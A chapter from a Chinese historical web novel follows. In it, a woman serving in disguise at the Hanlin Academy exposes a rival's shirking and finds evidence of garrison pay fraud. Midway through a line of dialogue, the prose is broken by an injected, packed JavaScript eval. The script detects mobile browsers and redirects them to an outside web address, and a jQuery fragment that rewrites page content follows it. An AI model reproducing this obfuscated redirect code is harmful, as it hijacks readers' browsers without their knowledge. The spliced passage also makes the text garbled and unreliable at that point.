次日薛青鸾去翰林院就听说了就有人弹劾清河郡主殴打宁远侯世子、强掳人口一事。
晟嘉帝圣明独断,罚了清河郡主禁足一月,宁远侯世子同样也因冲撞郡主被罚禁足一月。只是晟嘉帝多眷顾清河郡主,清河郡主是在兰园禁足,宁远侯世子则是在锦衣卫诏狱。
弹劾的御史沾沾自喜自己得了直言敢谏之名时,被锦衣卫查到“醉酒后殴打妻子”,晟嘉帝又“不得不”忍痛按律罚他鞭笞三十。
晟嘉帝看似一人各打三大板,可平素清河郡主便经常一两个月不出门,这样的惩罚对她来说和没有也没区别。
日日朝中都要探讨天下大势,清河郡主和宁远侯世子这点小矛盾终究不足一晒。
薛青鸾照例来到翰林院,今日整理的一封折子是来自涂州的,上折子和批红都已经是半个月前的事情。
折子所写大概是涂州卫所的战马今年遭了疫病,本有的千骑如今只剩半数不到,需要向申请白银三千两,兵部折算当前战马价格后决定拨银。
折子上所言事情并不算大,可它的来源地却引起了薛青鸾的注意——涂州,正是曾经的宿州卫所指挥李宏调任之地。
当初李宏失地有过,但后期协同梁州卫所收复宿州又有功,于是降为千户调到涂州,三年之后涂州卫所指挥调任,他又顶了上去成了涂州卫所指挥。
可以说薛青鸾尚未来得及翻查当年宿州卫所空饷之事,时局却又李宏此人推到了她面前。
薛青鸾抬眼见翰林学士裴玉卿此刻已放下手中的笔,正捋着他那把好看的胡子,取茶来喝。应是处理完了手里的卷宗,于是似不经意的开口,“大人,属下有一事不明,可否解惑?”
“说吧。”裴玉卿对这些隽秀的年轻人耐性不错,乐呵呵的道。
“每个卫所的将士、马匹可都是定数,一旦不足皆要补齐?”薛青鸾合上折子问。
“那是自然,否则若遇到流寇、外族、叛乱如何维护一方安定?”
“若有人冒名领饷,但实际人马不足数该当如何?”薛青鸾蹙着眉,继续问。
裴玉卿严肃起来,“我朝卫所并非如前朝一般由封疆大吏一人行权。卫所指挥与各地知府互为掣肘,每笔物资均要领受之人画押,想要吃空饷没那么容易。若真有,涉嫌人等当斩,严重者亲族流放。”
薛青鸾心里有了数受教的点头,“属下知晓了,今日整理完案牍,属下还想翻看一下其他同僚整理的,不知是否妥当?”
“你是庶吉士,这些东西你要看自然是可以的,只是不可带出翰林院,看完自己放回去就是了。”裴玉卿不以为意。
此后连着许多时日,到了下值之时,裴玉卿、章云郝等人都陆续离开了,薛青鸾也没有急着走,众人也渐渐习惯薛青鸾“好卷宗”一事。
这日与往日并无不同,翰林院外打更声传来,已是一更天。渐渐进入谷雨,天暗得没有那么快,虽然一更天也还算亮堂。
薛青鸾取出自己带的干粮啃了一口正要继续看一会儿,便见乐鸿朗推门进来,手里还抱着一堆卷宗。
乐鸿朗见薛青鸾在此,眼中不易觉察的一亮,来到她跟前,将卷宗放在她的案上,“裴学士吩咐了,这些各地呈上来的文书让你今日便全部整理完,明日一早交给我。”
薛青鸾粗略的扫了一眼顶上的那一封,是某地巡抚洋洋洒洒写了一篇当地风物,最后落了一句“问陛下安”。
薛青鸾这些日子看到的五花八门的文书不少,不用想也知道这一叠卷宗到底是个什么情况。
裴玉卿若真要吩咐她薛青鸾做什么只会直接吩咐,而乐鸿朗对她敌意不是一天两天。这卷宗想必本也是交到乐鸿朗手里的事情,甚至看落款日期甚至已经交给了他不少时日。
只是乐鸿朗当初中了探花,后来便是讲读,比起薛青鸾这无品级的庶吉士,到底是六品的官员,官大一级压死人,薛青鸾无法直接拒绝,“既然如此,便请乐讲学将文书放在此处吧。”
“算你识相。”乐鸿朗哼了一声,皮笑肉不笑的道,“那辛苦青梧兄了。”
“无妨。”薛青梧说完便当真整理其乐鸿朗留下的文书来。
乐鸿朗见了也觉得无趣,道了声,“青梧兄可要快些,再晚点就宵禁了。”
薛青鸾并没有理会,好似一副沉心办事的模样,道让乐鸿朗觉得更无趣,扭头就走了。
乐鸿朗送来的卷宗虽然多,却都是些底下官员问候圣安的文书,没什么要紧。上面的回复也是内阁拟了个知道了,并晟嘉帝一方章子算数。只需要按时间、辖地归类放置即可,再急也急不到哪里去。
薛青鸾做了大半后见到了宵禁时分,也不再理会,简单将剩余卷宗归到一旁就起身回家。
次日,薛青鸾刻意起了个大早到翰林院,又慢条斯理的坐着昨日乐鸿朗送来的那堆东西。
到巳时,裴玉卿匆匆拿着几个册子过来,“青梧,过来这里有几份奏疏,昨日陛下有了圣意,内阁也批了。你去草拟下诏令,午时前给我看看,下午过了印就要发出去了。”
裴玉卿话音落下才看见薛青鸾桌上一堆卷宗,皱起了眉头,“你昨日的事还没做完?”
薛青梧也不争辩,脸上挂着淡淡的笑,柔声道,“白日的都做完了,只是一更天时候您安排整理的那些文书稍微多了点,也马上就整理完了。”
“一更天?”裴玉卿随手拿起一本翻看了下,正是他半个月前交给乐鸿朗整理的东西。
薛青鸾手里不曾停下,飞快分类整理着,“是啊,属下本来说昨日做完,可不巧整理大半已经要宵禁了,只得匆匆回家。本想着今天来得早些,定可在您来之前就全部完成了,谁料下官还是高估了自己。”
“哼。”裴玉卿将刚那本写满了请安的文书随手丢下,又看了下薛青鸾,瞬间明白过来她这话里有话的意思,笑骂一声,“你这小狐狸……罢了这个先不做了,你拟诏书去。”
薛青鸾自然知道自己这点明晃晃的告状瞒不过翰林学士,也不争辩,接过裴玉卿手中那些批了红的折子,笑道,“是,属下这便先捡着要紧的事做了。”
“那些卷宗我带走了,不过若你诏书拟得出了岔子可要挨罚。”裴玉卿抚须笑道。
薛青鸾也毫不客气的任裴玉卿身后的侍者带走那些满纸废话的卷宗。
下午,翰林院便有人议论纷纷。
“知道吗,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15839243|175721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乐讲学被翰林学士训了,当着同科许多人说他好高骛远哩。”
“哪个乐讲学?乐鸿朗?”
“他不是最近老是往礼部侍郎哪里跑吗?”
“大约就是这缘故?好好地一个翰林讲学,未来说不定能当太子太傅。偏要和六部的人提前扯上关系。”
……
“站住!是不是你去告的状?”乐鸿朗快步走来,面色涨得通红,声音也大。周围的讲学、庶吉士们纷纷把目光投到薛青鸾和乐鸿朗身上。
乐鸿朗显然是气急了,气到在翰林院都失了分寸,模样好似一只斗犬,哪里还有当初在琼林宴时候意气风发、隽秀风流的模样?
薛青鸾平静的抬头,面色不解,语气中却带着几分淡漠,“乐讲读此言何意?青梧不明白,还请明言。”
“少在这里装模作样,昨日那些卷宗!”乐鸿朗压低了些声音,可四周的人都尖着耳朵听他要吵些什么,哪里有听不见的道理?
“卷宗?你不说卷宗我倒忘了,半个月前让你整理的卷宗你整理完了?”裴玉卿低沉的声音里带着些怒意,他扫了一眼四周,“全部围在这里做什么,没事了吗?”
“是,学士大人。”众人齐齐应声行礼。
薛青鸾也不例外,起身行礼后便继续落坐查阅起近些年宿州、涂州军饷军备资料。
乐鸿朗的面容扭曲起来,呼吸都粗重了几分,“薛青梧!”
“乐鸿朗,事情做完了?没事便跟我来。”裴玉卿说完也不在理会乐鸿朗,转身朝自己单独隔间而去。
乐鸿朗甩下一句,“你给我等着!”也不得不跟上裴玉卿的步子,边走还边恶狠狠地瞪了薛青鸾几眼。
薛青鸾的注意力却不再乐鸿朗身上了。
宿州近五年的兵部拨款都是按照三万军卒、五千马匹拨付的,三年前的军报上写着新王登基后蛮族举族偷袭宿州,宿州应付不暇致使兵马损失殆半,又额外申请了百万银子作为抚恤、增兵之用。
根本没有三万兵马!从来都没有!知府和卫所是两条线,一个掌兵权,一个监督,蛇鼠一窝。
薛青鸾猛地灌下一口水,凉水入喉他她个人都冷静了下来,确定自己面色没有分毫异常后活动了一下肩颈。恰看见乐鸿朗一脸颓然的从内室中走出来,好似霜打的茄子,眼眶都泛着红。
“你满意了?”乐鸿朗双拳紧握,青筋暴起,不住的抖动,往前冲了两步。
娃娃脸的章云郝察觉出他状态不对,拦在乐鸿朗前面不让他再靠近薛青鸾,众人也反应过来七手八脚的拉着乐鸿朗。
“我满意什么?”薛青鸾承认,自己最多算拐弯抹角的在翰林学士面前给他上了些眼药,若说干什么她还真一样没干。
乐鸿朗挣扎了一会儿,可他也不过一介书生,被那么多人拉着哪里还动弹得了?不一会儿就筋疲力竭,随即低笑起来,低笑又变成大笑,大家面面相觑,一脸盲人,虽不曾说话但任谁都能看出他好像要崩溃了。
这时候还是裴玉卿出来,依旧是他平时那副乐呵呵的模样,抚着胡须上前拍了拍乐鸿朗的肩膀,笑道,“乐讲学身上的是好事,其他人不该问的别问,时候到了你们自然知道了。”